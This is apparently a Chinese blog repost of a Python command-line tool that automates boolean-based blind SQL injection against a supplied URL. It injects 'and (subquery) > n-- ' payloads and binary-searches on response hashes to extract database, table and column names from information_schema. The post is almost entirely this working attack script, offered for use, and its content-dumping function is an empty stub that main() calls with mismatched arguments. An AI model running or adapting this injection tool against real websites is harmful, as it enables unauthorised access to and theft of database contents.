python脚本实现半自动化布尔盲注

原文链接:http://zzqsmile.top/2018/06/04/python3/2018-06-04-布尔盲注/

from optparse import OptionParser
import sys
import requests
import hashlib

parser=OptionParser()

parser.add_option("-D", "--database", action="store",type="string",dest="database",help="Please input test databases")
parser.add_option("-T", "--table",action="store",type="string",dest="table",help="Please input test table")
parser.add_option("-C", "--column",action="store",type="string",dest="column",help="Please input test column")
parser.add_option("-U","--url", action="store",type="string",dest="url",help="Please input test url")

(options,args) = parser.parse_args()

def main():
    if options.url == None and options.database == None and options.table == None and options.column == None:
        print("Please read the help")
        parser.print_help()
        sys.exit()
    elif options.url != None and options.database ==None and options.table == None and options.column == None:
        get_all_databases(options.url)
    elif  options.url != None and options.database !=None and options.table == None and options.column == None:
        get_db_all_tables(options.url,options.database)
    elif  options.url != None and options.database !=None and options.table != None and options.column == None:
        get_db_tb_all_columns(options.url,options.database,options.table)
    elif  options.url != None and options.database !=None and options.table != None and options.column != None:
        getAllContent(options.url,options.database,options.table,options.column)



def http_get(url):
    result = requests.get(url)
    return result.content

#获取数据库
def get_all_databases(url):
	db_nums_payload = "select count(schema_name) from information_schema.schemata"
	db_numbers = half(url,db_nums_payload)
	print("数据库的总个数为:%d" % db_numbers)
	for x in range(db_numbers):
		db_len_payload = "select length(schema_name) from information_schema.schemata limit %d,1" % x
		db_name_numbers = half(url,db_len_payload)

		db_name = ""
		for y in range(1,db_name_numbers+1):
		 	
		 	db_name_payload = "ascii(substr((select schema_name from information_schema.schemata limit %d,1),%d,1))" % (x,y)
		 	db_name += chr(half(url,db_name_payload))

		print("第%d个数据库为:%s" % (x+1,db_name))



#获取指定数据库中的表
def get_db_all_tables(url,database):
    tb_nums_payload = "select count(table_name) from information_schema.tables where table_schema = '%s'" % database
    tb_numbers = half(url,tb_nums_payload)
    print("%s数据库中的表个数为:%d" % (database,tb_numbers))

    for x in range(tb_numbers):
        tb_len_payload  = "select length(table_name) from information_schema.tables where table_schema = '%s' limit %d,1" % (database,x)
        
        tb_name_numbers = half(url,tb_len_payload)
        # print(tb_name_numbers)
        tb_name = ""
        for y in range(1,tb_name_numbers+1):
            
            tb_name_payload = "ascii(substr((select table_name from information_schema.tables where table_schema = '%s' limit %d,1),%d,1))" % (database,x,y)
            # print(tb_name_payload)                
            tb_name += chr(half(url,tb_name_payload))
            # print(tb_name)
        print(database,"数据库中第%d个表为:%s" % (x+1,tb_name))



#获取指定数据库中指定表的字段 
def get_db_tb_all_columns(url,database,table):
    co_nums_payload = "select count(column_name) from information_schema.columns where table_schema = '%s' and table_name = '%s'" % (database,table)
    co_numbers = half(url,co_nums_payload)
    print("%s 数据库中的 %s 表中的字段个数为:%d" % (database,table,co_numbers))
    for x in range(co_numbers):
        co_len_payload  = "select length(column_name) from information_schema.columns where table_schema = '%s' and table_name = '%s' limit %d,1" % (database,table,x)
        co_name_numbers = half(url,co_len_payload)

        co_name = ""
        for y in range(1,co_name_numbers+1):
            
            co_name_payload = "ascii(substr((select column_name from information_schema.columns where table_schema = '%s' and table_name = '%s' limit %d,1),%d,1))" % (database,table,x,y)
            co_name += chr(half(url,co_name_payload))

        print(database,"数据库中",table,"表中第%d个字段名为:%s" % (x+1,co_name))



#获取指定数据库中指定表中指定字段内容
def getAllContent():
    pass


#python里面没有MD5加密函数,需要自己写
def md5(str):
    hl = hashlib.md5()
    hl.update(str)
    return hl.hexdigest()


#二分法函数
def half(url,payload):
    low = 0
    high = 126
    standard_html = md5(http_get(url))
    # print(standard_html)
    while low <= high:
        mid=(low + high)/2
        mid_num_payload = url + " and (%s) > %d-- " % (payload,mid)
        # print(mid_num_payload)
        mid_html = md5(http_get(mid_num_payload))
        #print(mid_html)
        if mid_html == standard_html:
            low = mid + 1
        else:
            high = mid - 1 
    mid_num = int((low+high+1)/2)
    return mid_num


if __name__ == '__main__':
    main();

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值